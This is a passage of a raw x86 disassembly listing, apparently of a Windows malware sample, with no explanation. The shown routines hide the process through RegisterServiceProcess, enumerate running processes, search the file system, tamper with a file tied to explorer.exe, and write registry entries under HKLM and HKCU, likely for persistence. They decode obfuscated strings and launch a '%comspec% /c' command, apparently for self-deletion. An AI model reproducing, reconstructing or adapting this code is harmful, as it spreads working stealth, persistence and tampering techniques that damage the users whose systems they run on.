esp, 4 push ebx nop call near ptr 2820000h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 2860000h nop mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx call near ptr 2850000h nop test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx nop call near ptr 2840212h mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2860000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx call near ptr 2850000h nop test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx nop call near ptr 2840212h pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2861CD4h push eax call near ptr 286120Fh nop mov eax, dword_4470B0 test eax, eax jz loc_40D403 mov ecx, dword_4470AC test ecx, ecx jz loc_40D403 mov ecx, dword_446F78 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_4470A8, eax jz loc_40D403 push ebp push offset dword_446F80 push eax xor ebp, ebp mov dword_446F80, 128h call dword_4470AC ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446FA4 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446FA4 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446FA4 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_4470A8 push offset dword_446F80 push eax call dword_446F78 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_4470A8 push ecx nop call near ptr 282071Eh mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 2870B00h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 28705FAh mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2870000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0000h lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 nop call near ptr 2861CD4h push eax nop call near ptr 286120Fh push offset aKernel32_dll_0 ; "kernel32.dll" call near ptr 27C07DCh nop mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470B4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470B0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_4470AC, eax call edi mov dword_446F78, eax mov eax, dword_4470B4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44719F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 1E0201E8h dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h dd 2404417h, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 84E80000h, 90023D2Ch, 874C085h, 0E890006Ah dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_4471A1 test al, al jz short loc_40DB24 push offset word_4471A2 nop call near ptr 27D08CCh loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2861CD4h push eax call near ptr 286120Fh nop lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27B0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call sub_5EDAB2 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2840000h mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi call near ptr 27C0000h nop push esi nop call near ptr 282071Eh mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2861CD4h push eax nop call near ptr 286120Fh lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5EDAB2 add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 27F0000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 nop call near ptr 27E0617h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2920000h mov edx, [esp+80h+var_70] push edx call near ptr 28E0000h nop push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2920000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28E0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2920000h nop mov edx, [esp+80h+var_70] push edx call near ptr 28E0000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2920000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 28E0000h lea eax, 